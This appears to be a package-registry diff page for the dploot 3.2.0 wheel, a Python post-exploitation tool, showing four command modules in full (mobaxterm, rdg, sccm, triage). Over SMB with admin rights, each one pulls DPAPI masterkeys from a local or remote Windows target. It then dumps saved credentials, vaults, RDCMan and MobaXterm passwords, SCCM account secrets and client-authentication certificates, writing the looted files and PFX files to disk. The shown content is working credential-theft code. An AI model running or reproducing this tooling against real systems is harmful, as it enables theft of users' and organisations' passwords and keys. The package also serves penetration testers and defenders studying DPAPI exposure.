dploot 3.2.0__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. dploot/__init__.py +0 -0
  2. dploot/action/__init__.py +0 -0
  3. dploot/action/backupkey.py +102 -0
  4. dploot/action/blob.py +167 -0
  5. dploot/action/browser.py +192 -0
  6. dploot/action/certificates.py +146 -0
  7. dploot/action/cng.py +129 -0
  8. dploot/action/credentials.py +132 -0
  9. dploot/action/machinecertificates.py +136 -0
  10. dploot/action/machinecng.py +120 -0
  11. dploot/action/machinecredentials.py +120 -0
  12. dploot/action/machinemasterkeys.py +117 -0
  13. dploot/action/machinetriage.py +158 -0
  14. dploot/action/machinevaults.py +127 -0
  15. dploot/action/masterkeys.py +200 -0
  16. dploot/action/mobaxterm.py +138 -0
  17. dploot/action/rdg.py +132 -0
  18. dploot/action/sccm.py +125 -0
  19. dploot/action/triage.py +187 -0
  20. dploot/action/vaults.py +132 -0
  21. dploot/action/wam.py +133 -0
  22. dploot/action/wifi.py +137 -0
  23. dploot/entry.py +98 -0
  24. dploot/lib/__init__.py +0 -0
  25. dploot/lib/consts.py +30 -0
  26. dploot/lib/crypto.py +415 -0
  27. dploot/lib/dpapi.py +302 -0
  28. dploot/lib/masterkey.py +75 -0
  29. dploot/lib/smb.py +517 -0
  30. dploot/lib/target.py +219 -0
  31. dploot/lib/utils.py +99 -0
  32. dploot/lib/wmi.py +61 -0
  33. dploot/triage/__init__.py +30 -0
  34. dploot/triage/backupkey.py +81 -0
  35. dploot/triage/browser.py +441 -0
  36. dploot/triage/certificates.py +444 -0
  37. dploot/triage/cng.py +165 -0
  38. dploot/triage/credentials.py +163 -0
  39. dploot/triage/masterkeys.py +279 -0
  40. dploot/triage/mobaxterm.py +653 -0
  41. dploot/triage/rdg.py +249 -0
  42. dploot/triage/sccm.py +302 -0
  43. dploot/triage/vaults.py +307 -0
  44. dploot/triage/wam.py +251 -0
  45. dploot/triage/wifi.py +424 -0
  46. dploot-3.2.0.dist-info/METADATA +865 -0
  47. dploot-3.2.0.dist-info/RECORD +50 -0
  48. dploot-3.2.0.dist-info/WHEEL +4 -0
  49. dploot-3.2.0.dist-info/entry_points.txt +3 -0
  50. dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
@@ -0,0 +1,138 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.action.masterkeys import (
7
+ add_masterkeys_argument_group,
8
+ parse_masterkeys_options,
9
+ )
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
14
+ from dploot.triage.mobaxterm import MobaXtermTriage
15
+
16
+ NAME = "mobaxterm"
17
+
18
+
19
+ class MobaXtermAction:
20
+ def __init__(self, options: argparse.Namespace) -> None:
21
+ self.options = options
22
+ self.target = Target.from_options(options)
23
+
24
+ self.conn = None
25
+ self._is_admin = None
26
+ self._users = None
27
+ self.outputdir = None
28
+ self.masterkeys = None
29
+ self.pvkbytes = None
30
+
31
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
32
+
33
+ if self.options.mkfile is not None:
34
+ try:
35
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
36
+ except Exception as e:
37
+ logging.error(str(e))
38
+ sys.exit(1)
39
+
40
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
41
+ self.options, self.target
42
+ )
43
+
44
+ def connect(self) -> None:
45
+ self.conn = DPLootSMBConnection(self.target)
46
+ if self.conn.connect() is None:
47
+ logging.error("Could not connect to %s" % self.target.address)
48
+ sys.exit(1)
49
+
50
+ def run(self) -> None:
51
+ self.connect()
52
+ logging.info(
53
+ "Connected to {} as {}\\{} {}\n".format(
54
+ self.target.address,
55
+ self.target.domain,
56
+ self.target.username,
57
+ ("(admin)" if self.is_admin else ""),
58
+ )
59
+ )
60
+ if self.is_admin:
61
+ if self.masterkeys is None:
62
+
63
+ def masterkey_triage(masterkey):
64
+ masterkey.dump()
65
+
66
+ masterkeytriage = MasterkeysTriage(
67
+ target=self.target,
68
+ conn=self.conn,
69
+ pvkbytes=self.pvkbytes,
70
+ nthashes=self.nthashes,
71
+ passwords=self.passwords,
72
+ per_masterkey_callback=masterkey_triage
73
+ if not self.options.quiet
74
+ else None,
75
+ )
76
+ logging.info("Triage ALL USERS masterkeys\n")
77
+ self.masterkeys = masterkeytriage.triage_masterkeys()
78
+ print()
79
+ if self.outputdir is not None:
80
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
81
+
82
+ def secret_callback(secret):
83
+ if self.options.quiet:
84
+ secret.dump_quiet()
85
+ else:
86
+ secret.dump()
87
+
88
+ triage = MobaXtermTriage(
89
+ target=self.target,
90
+ conn=self.conn,
91
+ masterkeys=self.masterkeys,
92
+ per_secret_callback=secret_callback,
93
+ )
94
+ logging.info("Triage MobaXterm Secrets\n")
95
+ triage.triage_mobaxterm(offline_users=self.options.dump_offline_users)
96
+ if self.outputdir is not None:
97
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
98
+ else:
99
+ logging.info("Not an admin, exiting...")
100
+
101
+ @property
102
+ def is_admin(self) -> bool:
103
+ if self._is_admin is not None:
104
+ return self._is_admin
105
+
106
+ self._is_admin = self.conn.is_admin()
107
+ return self._is_admin
108
+
109
+
110
+ def entry(options: argparse.Namespace) -> None:
111
+ a = MobaXtermAction(options)
112
+ a.run()
113
+
114
+
115
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
116
+ subparser = subparsers.add_parser(
117
+ NAME, help="Dump Passwords and Credentials from MobaXterm"
118
+ )
119
+
120
+ group = subparser.add_argument_group("mobaxterm options")
121
+
122
+ group.add_argument(
123
+ "-mkfile",
124
+ action="store",
125
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
126
+ )
127
+
128
+ add_masterkeys_argument_group(group)
129
+
130
+ group.add_argument(
131
+ "-dump-offline-users",
132
+ action="store_true",
133
+ help=("Will try to offline users by dumping them NTUSER.DAT file. Noisy"),
134
+ )
135
+
136
+ add_target_argument_group(subparser)
137
+
138
+ return NAME, entry
dploot/action/rdg.py ADDED
@@ -0,0 +1,132 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
14
+ from dploot.triage.rdg import RDGTriage
15
+
16
+ NAME = "rdg"
17
+
18
+
19
+ class RDGAction:
20
+ def __init__(self, options: argparse.Namespace) -> None:
21
+ self.options = options
22
+ self.target = Target.from_options(options)
23
+
24
+ self.conn = None
25
+ self._is_admin = None
26
+ self._users = None
27
+ self.outputdir = None
28
+ self.masterkeys = None
29
+ self.pvkbytes = None
30
+
31
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
32
+
33
+ if self.options.mkfile is not None:
34
+ try:
35
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
36
+ except Exception as e:
37
+ logging.error(str(e))
38
+ sys.exit(1)
39
+
40
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
41
+ self.options, self.target
42
+ )
43
+
44
+ def connect(self) -> None:
45
+ self.conn = DPLootSMBConnection(self.target)
46
+ if self.conn.connect() is None:
47
+ logging.error("Could not connect to %s" % self.target.address)
48
+ sys.exit(1)
49
+
50
+ def run(self) -> None:
51
+ self.connect()
52
+ logging.info(
53
+ "Connected to {} as {}\\{} {}\n".format(
54
+ self.target.address,
55
+ self.target.domain,
56
+ self.target.username,
57
+ ("(admin)" if self.is_admin else ""),
58
+ )
59
+ )
60
+ if self.is_admin:
61
+ if self.masterkeys is None:
62
+
63
+ def masterkey_triage(masterkey):
64
+ masterkey.dump()
65
+
66
+ masterkeytriage = MasterkeysTriage(
67
+ target=self.target,
68
+ conn=self.conn,
69
+ pvkbytes=self.pvkbytes,
70
+ nthashes=self.nthashes,
71
+ passwords=self.passwords,
72
+ per_masterkey_callback=masterkey_triage
73
+ if not self.options.quiet
74
+ else None,
75
+ )
76
+ logging.info("Triage ALL USERS masterkeys\n")
77
+ self.masterkeys = masterkeytriage.triage_masterkeys()
78
+ print()
79
+ if self.outputdir is not None:
80
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
81
+
82
+ def credential_callback(credential):
83
+ if self.options.quiet:
84
+ credential.dump_quiet()
85
+ else:
86
+ credential.dump()
87
+
88
+ triage = RDGTriage(
89
+ target=self.target,
90
+ conn=self.conn,
91
+ masterkeys=self.masterkeys,
92
+ per_credential_callback=credential_callback,
93
+ )
94
+ logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n")
95
+ triage.triage_rdcman()
96
+ if self.outputdir is not None:
97
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
98
+ else:
99
+ logging.info("Not an admin, exiting...")
100
+
101
+ @property
102
+ def is_admin(self) -> bool:
103
+ if self._is_admin is not None:
104
+ return self._is_admin
105
+
106
+ self._is_admin = self.conn.is_admin()
107
+ return self._is_admin
108
+
109
+
110
+ def entry(options: argparse.Namespace) -> None:
111
+ a = RDGAction(options)
112
+ a.run()
113
+
114
+
115
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
116
+ subparser = subparsers.add_parser(
117
+ NAME,
118
+ help="Dump users saved password information for RDCMan.settings from local or remote target",
119
+ )
120
+
121
+ group = subparser.add_argument_group("rdg options")
122
+
123
+ group.add_argument(
124
+ "-mkfile",
125
+ action="store",
126
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
127
+ )
128
+
129
+ add_masterkeys_argument_group(group)
130
+ add_target_argument_group(subparser)
131
+
132
+ return NAME, entry
dploot/action/sccm.py ADDED
@@ -0,0 +1,125 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
10
+ from dploot.triage.sccm import SCCMTriage
11
+
12
+ NAME = "sccm"
13
+
14
+
15
+ class SCCMAction:
16
+ def __init__(self, options: argparse.Namespace) -> None:
17
+ self.options = options
18
+ self.target = Target.from_options(options)
19
+
20
+ self.conn = None
21
+ self._is_admin = None
22
+ self._users = None
23
+ self.outputdir = None
24
+ self.masterkeys = None
25
+
26
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
27
+
28
+ if self.options.mkfile is not None:
29
+ try:
30
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
31
+ except Exception as e:
32
+ logging.error(str(e))
33
+ sys.exit(1)
34
+
35
+ def connect(self) -> None:
36
+ self.conn = DPLootSMBConnection(self.target)
37
+ if self.conn.connect() is None:
38
+ logging.error("Could not connect to %s" % self.target.address)
39
+ sys.exit(1)
40
+
41
+ def run(self) -> None:
42
+ self.connect()
43
+ logging.info(
44
+ "Connected to {} as {}\\{} {}\n".format(
45
+ self.target.address,
46
+ self.target.domain,
47
+ self.target.username,
48
+ ("(admin)" if self.is_admin else ""),
49
+ )
50
+ )
51
+ if self.is_admin:
52
+ if self.masterkeys is None:
53
+
54
+ def masterkey_triage(masterkey):
55
+ masterkey.dump()
56
+
57
+ masterkeytriage = MasterkeysTriage(
58
+ target=self.target,
59
+ conn=self.conn,
60
+ per_masterkey_callback=masterkey_triage
61
+ if not self.options.quiet
62
+ else None,
63
+ )
64
+ logging.info("Triage SYSTEM masterkeys\n")
65
+ self.masterkeys = masterkeytriage.triage_system_masterkeys()
66
+ print()
67
+ if self.outputdir is not None:
68
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
69
+
70
+ def secret_callback(secret):
71
+ if self.options.quiet:
72
+ secret.dump_quiet()
73
+ else:
74
+ secret.dump()
75
+
76
+ triage = SCCMTriage(
77
+ target=self.target,
78
+ conn=self.conn,
79
+ masterkeys=self.masterkeys,
80
+ per_secret_callback=secret_callback,
81
+ )
82
+ logging.info("Triage SCCM Secrets\n")
83
+ triage.triage_sccm(use_wmi=self.options.wmi)
84
+ if self.outputdir is not None:
85
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
86
+ else:
87
+ logging.info("Not an admin, exiting...")
88
+
89
+ @property
90
+ def is_admin(self) -> bool:
91
+ if self._is_admin is not None:
92
+ return self._is_admin
93
+
94
+ self._is_admin = self.conn.is_admin()
95
+ return self._is_admin
96
+
97
+
98
+ def entry(options: argparse.Namespace) -> None:
99
+ a = SCCMAction(options)
100
+ a.run()
101
+
102
+
103
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
104
+ subparser = subparsers.add_parser(
105
+ NAME,
106
+ help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target",
107
+ )
108
+
109
+ group = subparser.add_argument_group("sccm options")
110
+
111
+ group.add_argument(
112
+ "-mkfile",
113
+ action="store",
114
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
115
+ )
116
+
117
+ group.add_argument(
118
+ "-wmi",
119
+ action="store_true",
120
+ help=("Dump SCCM secrets from WMI requests results"),
121
+ )
122
+
123
+ add_target_argument_group(subparser)
124
+
125
+ return NAME, entry
@@ -0,0 +1,187 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.certificates import CertificatesTriage
14
+ from dploot.triage.credentials import CredentialsTriage
15
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
16
+ from dploot.triage.rdg import RDGTriage
17
+ from dploot.triage.vaults import VaultsTriage
18
+
19
+ NAME = "triage"
20
+
21
+
22
+ class TriageAction:
23
+ def __init__(self, options: argparse.Namespace) -> None:
24
+ self.options = options
25
+ self.target = Target.from_options(options)
26
+
27
+ self.conn = None
28
+ self._is_admin = None
29
+ self.outputdir = None
30
+ self.masterkeys = None
31
+ self.pvkbytes = None
32
+ self.passwords = None
33
+ self.nthashes = None
34
+
35
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
36
+
37
+ if self.options.mkfile is not None:
38
+ try:
39
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
40
+ except Exception as e:
41
+ logging.error(str(e))
42
+ sys.exit(1)
43
+
44
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
45
+ self.options, self.target
46
+ )
47
+
48
+ def connect(self) -> None:
49
+ self.conn = DPLootSMBConnection(self.target)
50
+ if self.conn.connect() is None:
51
+ logging.error("Could not connect to %s" % self.target.address)
52
+ sys.exit(1)
53
+
54
+ def run(self) -> None:
55
+ self.connect()
56
+ logging.info(
57
+ "Connected to {} as {}\\{} {}\n".format(
58
+ self.target.address,
59
+ self.target.domain,
60
+ self.target.username,
61
+ ("(admin)" if self.is_admin else ""),
62
+ )
63
+ )
64
+
65
+ if self.is_admin:
66
+ if self.masterkeys is None:
67
+
68
+ def masterkey_callback(masterkey):
69
+ masterkey.dump()
70
+
71
+ masterkeys_triage = MasterkeysTriage(
72
+ target=self.target,
73
+ conn=self.conn,
74
+ pvkbytes=self.pvkbytes,
75
+ nthashes=self.nthashes,
76
+ passwords=self.passwords,
77
+ per_masterkey_callback=masterkey_callback
78
+ if not self.options.quiet
79
+ else None,
80
+ )
81
+ logging.info("Triage ALL USERS masterkeys\n")
82
+ self.masterkeys = masterkeys_triage.triage_masterkeys()
83
+ print()
84
+ if self.outputdir is not None:
85
+ dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files)
86
+
87
+ def credential_callback(credential):
88
+ if self.options.quiet:
89
+ credential.dump_quiet()
90
+ else:
91
+ credential.dump()
92
+
93
+ credentials_triage = CredentialsTriage(
94
+ target=self.target,
95
+ conn=self.conn,
96
+ masterkeys=self.masterkeys,
97
+ per_credential_callback=credential_callback,
98
+ )
99
+ logging.info("Triage Credentials for ALL USERS\n")
100
+ credentials_triage.triage_credentials()
101
+ if self.outputdir is not None:
102
+ dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files)
103
+
104
+ vaults_triage = VaultsTriage(
105
+ target=self.target,
106
+ conn=self.conn,
107
+ masterkeys=self.masterkeys,
108
+ per_vault_callback=credential_callback,
109
+ )
110
+ logging.info("Triage Vaults for ALL USERS\n")
111
+ vaults_triage.triage_vaults()
112
+ if self.outputdir is not None:
113
+ dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
114
+
115
+ rdg_triage = RDGTriage(
116
+ target=self.target,
117
+ conn=self.conn,
118
+ masterkeys=self.masterkeys,
119
+ per_credential_callback=credential_callback,
120
+ )
121
+ logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n")
122
+ rdg_triage.triage_rdcman()
123
+ if self.outputdir is not None:
124
+ dump_looted_files_to_disk(self.outputdir, rdg_triage.looted_files)
125
+
126
+ def certificate_callback(certificate):
127
+ if not self.options.dump_all and not certificate.clientauth:
128
+ return
129
+ if not self.options.quiet:
130
+ certificate.dump()
131
+ filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
132
+ logging.critical("Writting certificate to %s" % filename)
133
+ with open(filename, "wb") as f:
134
+ f.write(certificate.pfx)
135
+
136
+ certificates_triage = CertificatesTriage(
137
+ target=self.target,
138
+ conn=self.conn,
139
+ masterkeys=self.masterkeys,
140
+ per_certificate_callback=certificate_callback,
141
+ )
142
+ logging.info("Triage Certificates for ALL USERS\n")
143
+ certificates_triage.triage_certificates()
144
+ if self.outputdir is not None:
145
+ dump_looted_files_to_disk(self.outputdir, certificates_triage.looted_files)
146
+ else:
147
+ logging.info("Not an admin, exiting...")
148
+
149
+ @property
150
+ def is_admin(self) -> bool:
151
+ if self._is_admin is not None:
152
+ return self._is_admin
153
+
154
+ self._is_admin = self.conn.is_admin()
155
+ return self._is_admin
156
+
157
+
158
+ def entry(options: argparse.Namespace) -> None:
159
+ a = TriageAction(options)
160
+ a.run()
161
+
162
+
163
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
164
+ subparser = subparsers.add_parser(
165
+ NAME,
166
+ help="Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target",
167
+ )
168
+
169
+ group = subparser.add_argument_group("triage options")
170
+
171
+ group.add_argument(
172
+ "-mkfile",
173
+ action="store",
174
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
175
+ )
176
+
177
+ add_masterkeys_argument_group(group)
178
+
179
+ group.add_argument(
180
+ "-dump-all",
181
+ action="store_true",
182
+ help=("Dump also certificates not used for client authentication"),
183
+ )
184
+
185
+ add_target_argument_group(subparser)
186
+
187
+ return NAME, entry